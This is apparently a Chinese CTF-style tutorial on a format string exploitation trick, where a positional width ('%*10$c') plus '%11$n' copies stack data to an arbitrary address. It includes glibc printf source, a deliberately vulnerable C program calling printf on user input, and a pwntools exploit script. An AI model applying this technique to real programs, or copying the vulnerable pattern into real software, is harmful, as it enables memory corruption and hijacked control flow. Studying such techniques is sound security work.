利用限制
- 存在格式化字符串漏洞
- 每个格式化字符串只能实现一次
- 需要等待int长度空格的输出时间
利用原理
*
可以通过参数指定格式化字符串的宽度,比如:
int width = 10;
char ch = 'a';
printf("|%*c|", width, ch);
// output:| a|
这里就把width作为宽度,输出了长度为width的ch字符。
一般我们利用格式化字符串漏洞进行任意地址写时,一般都是先通过%xxc
调整要写入的数据,然后通过%xx$n
对指定位置参数指向的地址进行写入。
于是,进一步地,我们想到,能不能把指定位置的参数作为width,实现将栈上数据写入呢?
我们看到glibc
实现printf
的源码:
/* Get width from argument. */
LABEL (width_asterics):
{
const UCHAR_T *tmp; /* Temporary value. */
tmp = ++f;
if (ISDIGIT (*tmp))
{
int pos = read_int (&tmp);
if (pos == -1)
{
__set_errno (EOVERFLOW);
done = -1;
goto all_done;
}
if (pos && *tmp == L_('$'))
/* The width comes from a positional parameter. */
goto do_positional;
}
width = va_arg (ap, int);
/* Negative width means left justified. */
if (width < 0)
{
width = -width;
pad = L_(' ');
left = 1;
}
可以看到是实现了将指定位置参数作为宽度的方法的。
只需要在*
后加上xx$
就能将xx
位置的参数作为宽度进行输入。
可惜,width都是作为int型读取的,这会给利用带来一些限制。特别注意,最高位为1时,会当作负数,然后取相反数,造成写入错误,可以通过
%1073741824c%1073741824c
代替。
配合任意地址写,可以免去一次栈上数据泄露,直接把需要的栈上数据写入目标地址。
PoC
漏洞源码:
#include <stdio.h>
int main()
{
char s[100];
int a = 1, b = 0x22, c = -1;
printf("%p.%p.%p.%p\n", &a, &b, &c, &s);
printf("%08x.%08x.%08x\n", a, b, c);
scanf("%s", s);
printf(s);
printf("%08x.%08x.%08x\n", a, b, c);
return 0;
}
exp:
from pwn import *
debug = True
local_path = './fmtstr'
context.binary = local_path
io = process(local_path)
if debug:
# context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
context.log_level = 'debug'
def exp():
# offset:
# 6 7 7.5 8
addr_a, addr_b, addr_c, addr_s = [int(x, 16) for x in io.recvline(keepends=False).split(b'.')]
val_a1, val_b1, val_c1 = [int(x, 16) for x in io.recvline(keepends=False).split(b'.')]
log.info('addr of a:'+hex(addr_a))
log.info('val a:' + hex(val_a1))
log.info('val b:' + hex(val_b1))
# try to change the value of a to the value of b
payload = b'%*10$c%11$n'.ljust(0x10, b'a') + pack(addr_a)
io.sendline(payload)
val_a2 = int(io.recvuntil(b'.')[-9:-1], 16)
val_b2, val_c2 = [int(x, 16) for x in io.recvline(keepends=False).split(b'.')]
log.info('val a2:' + hex(val_a2))
log.info('val b2:' + hex(val_b2))
if __name__=='__main__':
exp()
这里实现了将b的值写入a。
总结
通过*n$
指定位置参数作为宽度的手段,可以实现在不确定栈地址时向任意地址写入栈上数据。
在特定场合有奇效,比如:开启了地址随机化保护,无法确定栈地址,但栈上存在某些函数地址,因为栈上偏移固定,因此可以通过这种方法直接写入到返回地址上。
但是需要注意的是,因为我们用这种方法写入的栈上数据一般都是无法获取到的,因此,如果后续还需要通过同一格式化字符串写入数据,因为输出的字符数不确定了,会造成一定阻碍。(不如爆破hhh
一般现在比赛一个洞都需要完成一系列利用,这个限制就让这种利用方式显得有些鸡肋了。